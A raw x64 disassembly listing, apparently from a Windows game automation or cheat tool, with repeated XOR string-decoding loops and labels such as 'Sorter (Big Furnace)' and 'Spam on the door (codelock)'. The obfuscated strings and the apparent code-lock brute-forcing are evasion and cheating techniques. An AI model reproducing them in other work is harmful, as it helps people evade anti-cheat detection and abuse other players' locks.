xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140067280
lea rdx, [0x1400b3cbb]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x1400672df
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3cbb], 1
jne 0x140067360
lea rdx, [rbp + 0x770]
mov byte [0x1400b3cbb], 1
lea rcx, [rbp - 0x69]
mov byte [rbp - 0x69], 0
call fcn.1400878f0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x14006733a
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x428]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4758]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140067380
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140067380
lea rcx, str.Sorter__Small_Furnace_
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140067781
lea rdx, [rbp + 0x27a0]
mov byte [rbp - 0x68], 0
lea rcx, [rbp - 0x68]
call fcn.140087920
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140067541
mov r8d, edi
cmp esi, 2
jl 0x140067509
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140067400
cmp r8d, 0x29
jge 0x140067541
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140067510
lea rdx, [0x1400b3cbb]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006756d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3cbb], 1
jne 0x140067758
lea rdx, [rbp + 0x2238]
mov byte [0x1400b3cbb], 1
lea rcx, [rbp - 0x67]
mov byte [rbp - 0x67], 0
call fcn.140087950
mov rbx, rax
cmp byte [rax + 0x21], 0
je 0x140067732
mov r8d, edi
cmp esi, 2
jl 0x1400676fb
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x1400675f2
cmp r8d, 0x22
jge 0x140067732
movsxd r9, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140067701
movaps xmm2, xmm11
lea rcx, [rbp + 0x430]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4758]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140067781
cmp byte [0x1400aef77], 1
jne 0x140067781
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140067781
lea rcx, [0x14009fc18]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140067b37
lea rdx, [rbp + 0x1878]
mov byte [rbp - 0x66], 0
lea rcx, [rbp - 0x66]
call fcn.140087980
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140067941
mov r8d, edi
cmp esi, 2
jl 0x140067909
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140067800
cmp r8d, 0x16
jge 0x140067941
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140067910
lea rdx, [0x1400b321e]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006796d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b321e], 1
jne 0x140067b17
lea rdx, [rbp + 0x8f0]
mov byte [0x1400b321e], 1
lea rcx, [rbp - 0x65]
mov byte [rbp - 0x65], 0
call fcn.1400879b0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140067af1
mov r8d, edi
cmp esi, 2
jl 0x140067aba
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140067ac0
movaps xmm2, xmm11
lea rcx, [rbp + 0x438]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4648]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140067b37
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140067b37
lea rcx, str.Sorter__Big_Furnace_
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140067f30
lea rdx, [rbp + 0x2b30]
mov byte [rbp - 0x64], 0
lea rcx, [rbp - 0x64]
call fcn.1400879e0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140067d01
mov r8d, edi
cmp esi, 2
jl 0x140067cc9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x140067bc0
cmp r8d, 0x31
jge 0x140067d01
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140067cd0
lea rdx, [0x1400b321e]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b321e], 1
jne 0x140067f07
lea rdx, [rbp + 0x2800]
mov byte [0x1400b321e], 1
lea rcx, [rbp - 0x63]
mov byte [rbp - 0x63], 0
call fcn.140087a10
mov rbx, rax
cmp byte [rax + 0x2a], 0
je 0x140067ee1
mov r8d, edi
cmp esi, 2
jl 0x140067ea9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140067da0
cmp r8d, 0x2b
jge 0x140067ee1
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x140067eb0
movaps xmm2, xmm11
lea rcx, [rbp + 0x440]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4648]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140067f30
cmp byte [0x1400aef77], 1
jne 0x140067f30
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140067f30
lea rcx, [0x14009fc70]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14006804f
lea rdx, [rbp + 0x680]
mov byte [rbp - 0x62], 0
lea rcx, [rbp - 0x62]
call fcn.140087a50
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140067f82
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor cl, 0x3a
mov byte [rax + 9], cl
lea rdx, [0x1400aef5b]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140067fae
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aef5b], 1
jne 0x14006802f
lea rdx, [rbp + 0x780]
mov byte [0x1400aef5b], 1
lea rcx, [rbp - 0x61]
mov byte [rbp - 0x61], 0
call fcn.140087a70
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x140068009
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x448]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400af018]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x14006804f
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006804f
lea rcx, str.Spam_on_the_door__codelock_
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140068440
lea rdx, [rbp + 0x1668]
mov byte [rbp - 0x60], 0
lea rcx, [rbp - 0x60]
call fcn.140087aa0
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140068211
mov r8d, edi
cmp esi, 2
jl 0x1400681d9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400680d0
cmp r8d, 0x12
jge 0x140068211
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1400681e0
lea rdx, [0x1400aef5b]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aef5b], 1
jne 0x140068417
lea rdx, [rbp + 0x1818]
mov byte [0x1400aef5b], 1
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x5f], 0
call fcn.140087ac0
mov rbx, rax
cmp byte [rax + 0x13], 0
je 0x1400683f1
mov r8d, edi
cmp esi, 2
jl 0x1400683b9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400682b0
cmp r8d, 0x14
jge 0x1400683f1
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1400683c0
movaps xmm2, xmm11
lea rcx, [rbp + 0x450]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400af018]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140068440
cmp byte [0x1400aef77], 1
jne 0x140068440
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140068440
lea rcx, str._______________
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x1400687b7
lea rdx, [rbp + 0x860]
mov byte [rbp - 0x5e], 0
lea rcx, [rbp - 0x5e]
call fcn.140087ae0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x1400685c1
mov r8d, edi
cmp esi, 2
jl 0x14006858a
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
